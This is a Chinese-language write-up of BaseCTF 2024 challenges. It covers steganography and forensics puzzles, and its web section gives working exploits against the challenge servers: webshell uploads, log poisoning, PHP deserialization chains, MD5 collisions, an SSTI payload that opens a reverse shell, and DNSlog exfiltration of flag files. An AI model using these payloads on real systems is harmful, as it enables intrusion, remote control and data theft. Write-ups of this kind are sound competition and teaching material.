BaseCTF 2024
MISC
[Week1] Base
解密base64即可
[Week1] 捂住X只耳
音频分离成左右声道后,将其中一个声道反相,然后再次合并两个声道,听到摩斯密码
FOLLOW YOUR HEART 套上flag头即可
[Week1] 你也喜欢圣物吗
lsb最低位拿到key
解开zip后又有一个伪加密的,改09为00即可,txt底部解base64得到flag
[Week1] 人生苦短,我用Python
考查对python数组的熟悉,得到的py是可以运行的,一步一步检查即可
- 总长38字符
- 开头为BaseCTF{
- Mp在第11,12位(flag.find(‘Mp’) != 10指的是M应该在flag[10]也就是第11位)
- 末尾为3x}
- 末尾为}
- 总共有4个_
- 以下划线为分割字符长度为:14_2_6_4_8
- 12-32(不包括32),每隔4个取一个为lsT_n(12 16 20 24 28)
- 以emoji猫为分割的前9位为BASECTF{S(此时s还不确定大小写)
- flag[-11]的5次方是1024(倒数第11位为4)
- flag[-7:-3]倒数第七到倒数第四分别为解密base64为0mPl
- flag[::-7]表示从后往前每隔7个取一位,所以先hex解密后逆向s1srC}
}为倒数第一位,然后每隔七位再取 - flag[12::11]从第13位开始,隔11为取一位,l r(第13和第24位为l r)
- 第21到第26位为ascii解密t3rTh
此时flag为BaseCTF{s1Mpl*s_*Tt3r_Th4n_C0mPl3x} - flag[17:20]中的三个字符的加权和等于41378751114180610_Be
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from itertools import product
# 给定的值和基数
target_value = 41378751114180610
base = 20240815
# 计算加权和
def calculate_sum(flag_substring):
return sum(ord(c) * base ** idx for idx, c in enumerate(flag_substring))
# 尝试所有可能的 3 字符组合
for chars in product(range(32, 127), repeat=3): # 限定在可打印字符范围内
flag_substring = ''.join(chr(c) for c in chars)
if calculate_sum(flag_substring) == target_value:
print(f"Found matching flag substring: {flag_substring}")
break
#Found matching flag substring: _Be
16. flag[0]为字母为已知的B[8]小写确定第九位s为小写[13]为数字第十四位为0-9
17. 将[13]的字符3为替换为bro确定第十四位为3,比较[13][15]是否为bro 1确定第十六位为1
18. 用于哈希确认,不用也行[Week1] 正着看还是反着看呢?
拿到了一个十六进制数据逆序的jpg图片恢复后binwalk得到flag.txt1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21def reverse_hex_and_save_to_file(hex_string, file_name):
# 处理十六进制字符串,去除空格并分割每个字节
hex_bytes = hex_string.split()
# 反转字节顺序
reversed_bytes = hex_bytes[::-1]
# 重新拼接成十六进制字符串
reversed_hex_string = ''.join(reversed_bytes)
# 将反转后的十六进制字符串转换为字节
byte_data = bytes.fromhex(reversed_hex_string)
# 将字节数据写入文件
with open(file_name, 'wb') as file:
file.write(byte_data)
# 输入的十六进制文本
input_hex = '''
xxxxx
''' # 替换为你的十六进制数据
# 输出文件名
output_file = "xxx"
# 反向处理并保存到文件
reverse_hex_and_save_to_file(input_hex, output_file)
[Week1] 海上遇到了鲨鱼
wireshark打开后直接到导出对象导出flag.php逆序后得到flag
[Week1] 根本进不去啊!
悄悄告诉你: flag 在 flag.basectf.fun
进不去!怎么想都进不去吧?
访问不了就查询下该域名的DNS有没有文字记录信息
[Week1] 倒计时?海报!
一张图差不多得了(
赛事群相册的每一张图都用stegsolve查看不同颜色通道拿到flag内容合并即可
[Week2] ez_crypto
把字符串大小写替换后解密base64得到flag1
2
3
4
5
6
7
8
9
10
11import base64
def decode(s):
swapped = s.swapcase()
decoded = base64.b64decode(swapped)
return decoded.decode('utf-8')
if __name__ == "__main__":
text = "xxxxxxxxx" # 输入 Base64 编码字符串
result = decode(text)
print(result)
[Week2] 前辈什么的最喜欢了
拿到base64URL加密的文本,直接放浏览器加载不出来,删掉前缀保留base64字符串,解密后保存为图片,修改宽高后得到flag
[Week2] 黑丝上的flag
stegsolve打开在alpha plane 1处拿到flag
[Week2] 海上又遇了鲨鱼
导出对象FTP-DATA下载flag.zip
在tcp.stream eq 16 拿到密码
[Week2] 二维码1-街头小广告
有纠错,直接扫码可以看到url处get的内容即为flag
[Week2] Base?!
hS5VZPaBjN4IU6G2VFqZqNG-tPrJm64NgMKQuEa3nNIBIFbh0MLBZEpF4LqZn
9LpBjLoRjPqEV6Lo+
question response
Base64? X
Base32? X
XXdecode得到flag
[Week2] 哇!珍德食泥鸭
binwalk看到一堆文件,提取出来发现是word文档,改gif后缀为docx,全选+明显强调后在底部找到flag
[Week2] 反方向的雪
低头看雪?
压缩包密码为6位
jpg图片底部发现反向的zip数据,用[Week1] 正着看还是反着看呢?
的脚本逆序后保存为zip
根据描述说6位密码,爆破出密码为123456,打开全选看到空白根据题目使用SNOW解密 密钥为n0secr3t
[Week2] Aura 酱的旅行日记
本题做操作演示,其他社工题不再写wp
百度识图后得到关键词成都自然博物馆
百度地图搜索后得到位置
BaseCTF{四川省成都市成华区成华大道十里店路88号}
[Week3] 纯鹿人
word打开全选,选择明显强调主题,在图片后面有base64解密得到key:ikunikun
这张图片里面有zip用binwalk分离出来后输入密码得到flag
[Week3] broken.mp4
https://github.com/anthwlock/untrunc
修复mp4后得到flag
WEB
[Week1] A Dark Room
源码处拿到flag
[Week1] upload
先传png一句话然后bp抓包修改后缀即可,flag在/flag
[Week1] md5绕过欸
1 |
|
数组绕过md5即可
payload:GET:name[]=1&name2[]=1
POST:password[]=2&password2[]=2
[Week1] 喵喵喵´•ﻌ•`
1 |
|
命令执行
paylaod:?DT=system('tac /f*');
[Week1] HTTP 是什么呀
1 | GET:basectf=we1c%2500me |
[Week1] Aura 酱的礼物
1 | <?php |
payload:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io.[自己的域名]/&gift=php://filter/convert.base64-encode/resource=flag.php
DNS绑定jasmineaura.github.io.example.com这样一个n级域名到自己公网ip,然后搭一个有”已经收到Kengwang的礼物啦”内容的网页,保证file_get_contents能读到即可
官方wp:@127.0.0.1可读取靶机网页内容
[Week2] 你听不到我的声音
1 |
|
shell_exec无回显,可利用管道符将命令输出结果定向到新文件中cmd=ls / >1.txt
cmd=cat /f* >1.txt
查看当前目录下的1.txt得到flag
也可以DNSlog外带
curl `cat /f*`.[域名]
[Week2] 一起吃豆豆
查看index.js找游戏结束的代码,解密base64得到flag
[Week2] ez_ser
1 | <?php |
函数调用链:web类的wakeup() -> toString() -> __get() -> Misc类的getflag()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
class re{
public $chu0;
}
class web {
public $kw;
public $dt;
}
class pwn {
public $dusk;
public $over;
}
class Misc {
public $nothing;
public $flag;
}
$web = new web();
$re = new re();
$pwn = new pwn();
$Misc= new Misc();
$web->kw = $re;
$re ->chu0 = $pwn;
$pwn->dusk = "gods";
$pwn->over = $Misc;
echo serialize($web);
?>
payload:?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
[Week2] RCEisamazingwithspace
过滤空格 ${IFS}代替即可
payload:cmd=tac${IFS}/flag
[Week2] Happy Birthday
文件md5碰撞
https://www.win.tue.nl/hashclash
题目要求上传两个不一样内容的pdf但是md5值相同,用工具生成上传后得到flag
[Week2] Really EZ POP
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
函数调用顺序:__destrut() -> __get() -> __invoke()-> __tostring() -> eval()
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Sink
{
public $cmd;
}
class Shark
{
public $word;
}
class Sea
{
public $animal;
}
class Nature
{
public $sea;
}
$Nature = new Nature();
$Sea = new Sea();
$Shark = new Shark();
$Sink = new Sink();
$Nature->sea=$Sea;
$Sea->animal=$Shark;
$Shark->word=$Sink;
$Sink->cmd="echo `tac /f*`;";
echo serialize($Nature);
请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性
根据题目提示所以给cmd和word加上对应格式
public 无标记,长度不变
protected 变量名前加\00*\00
,\00算1个长度,总长+3
private 添加类名,且两个名前都添加标记\00
,长度:类名+变量名+2
payload:nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:15:"echo ``tac /f*``;";}}}}
[Week2] 数学大师
脚本题1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42import requests
import re
import time
def get(txt):
m = re.search(r'(\d+)\s*([+\-*/÷×])\s*(\d+)', txt)
n1, op, n2 = m.groups()
return int(n1), op, int(n2)
def calc(n1, op, n2):
if op == '+':
return n1 + n2
elif op == '-':
return n1 - n2
elif op == '×':
return n1 * n2
elif op == '÷':
return n1 // n2
def main():
url = 'xxx'
s = requests.Session()
r = s.get(url)
print(r.text)
while True:
if 'BaseCTF' in r.text:
break
n1, op, n2 = get(r.text)
res = calc(n1, op, n2)
print(f'Result: {res}')
data = {'answer': res}
r = s.post(url, data=data)
print(r.text)
time.sleep(1)
if __name__ == "__main__":
main()
[Week2] 所以你说你懂 MD5?
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
分了几个阶段
- 数组绕过强比较
- 弱比较,利用两个字符串md5后为0e弱类型为0绕过
- md5碰撞,可利用fastcoll生成,这里在网上找了一个
- 哈希长度拓展攻击
random_bytes(16) 生成 16 字节的随机二进制数据。
bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。
因此:
bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。
代码中一共调用了三次 bin2hex(random_bytes(16))
总长度为:32 字符 × 3 = 96 字符。
payload:1
apple[]=1&banana[]=2&appple=s1885207154a&bananana=s1836677006a&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=b38c445bdd03137adda73ebc0a4de191
[Week3] 复读机
ssti,有很多过滤,先fuzz一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import requests
import string
import time
url = "xx"
printable_chars = string.printable
a = ""
for char in printable_chars:
flag_value = f"BaseCTF{{%{char}%}}"
payload = {'flag': flag_value}
response = requests.post(url, data=payload)
time.sleep(0.1)
if "你想干嘛? 杂鱼~ 杂鱼~" in response.text:
a += char
print(a)
除此还有关键字过滤,考虑使用fenjing来构造payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum","builtins","popen",
'"', "__", ".", "+", "{{","*","/","\\",":",
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
反弹shell后cat /flag即可
[Week3] 滤个不停
文件包含,过滤很多,考虑包含日志User-Agent:<?php eval($_GET[1]);?>
POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld
GET:?1=system('tac /flag');
[Week3] 玩原神玩的
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
首先要爆破下长度,下面是爆破脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$url = 'xxx';
$success_msg = "</code>我不管,我要玩原神!";
for ($length = 1; $length <= 100; $length++) {
$len_param = array_fill(0, $length, 9);
$post_data = http_build_query(array(
'len' => $len_param,
));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (strpos($response, $success_msg) !== false) {
echo "Success with length: $length\n";
echo $response;
break;
}
curl_close($ch);
}
后续按要求做即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$url = 'xxx'; // 替换为实际的 URL
$success_msg = "json";
// 已知的正确长度
$correct_length = 45;
$len_param = array_fill(0, $correct_length, 9);
$m_param = array(
'100%',
'love100%' . md5('100%')
);
$tip = '我要玩原神';
$post_data = http_build_query(array(
'len' => $len_param,
'm' => $m_param
));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '?tip=' . urlencode($tip));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close($ch);
解密md5
1 |
|
[Week3] ez_php_jail
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
下划线用[
绕过,找到姿势https://github.com/NotSurprised/RingZer0-CTF-Writeup/blob/master/JailEscaping/PHP%20Jail/PHP%20Jail%203/PHP%20Jail%203.md
payload:?Jail[by.Happy=highlight_file(glob("/f*")[0]);
[Week4] flag直接读取不就行了?
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
payload:GET:?K=DirectoryIterator&W=/secret
POST:J=SplFileObject&H=/secret/f11444g.php
[Week4] 圣钥之战1.0
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
python原型链污染,merge(json.loads(request.data),instance)
意味着可以向路由/pollute post传入json数据即可污染属性,并且在/read下会执行file = open(__file__, encoding="utf-8").read()
因此我们修改file的值为/flag即可读到flag文件
payload数据包:1
2
3
4
5
6
7
8
9
10POST /pollute
Content-Type: application/json
{
"__init__": {
"__globals__" : {
"__file__": "/flag"
}
}
}
再次访问/read拿到flag
[Week4] No JWT
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
无密钥HS256 JWT
登录拿到token后直接在jwt.io改role为admin再发包到@/flag即可拿到flag
[Fin] 1z_php
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
第一个用八进制绕过,第二个正则回溯绕过,第三个由于要求要$b要php开头所以用SplFileObject+fgets+伪协议读出flag1
2
3
4
5
6
7import requests
data={"try":"a"*1000001+"hacker"}
url="http://challenge.basectf.fun:38172/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets"
res = requests.post(data=data,url=url)
print(res.text)
Back to the future
任意目录跳phpinfo(实际没用)
/robots.txt提示.git泄露
https://github.com/WangYihang/GitHackergithacker --url http://gz.imxbt.cn:20982/.git/ --output-folder result
查看历史git log
回到添加flag的记录git reset --hard 9d85f10e0192ef630e10d7f876a117db41c30417
这时当前目录生成了flag.txt得到flag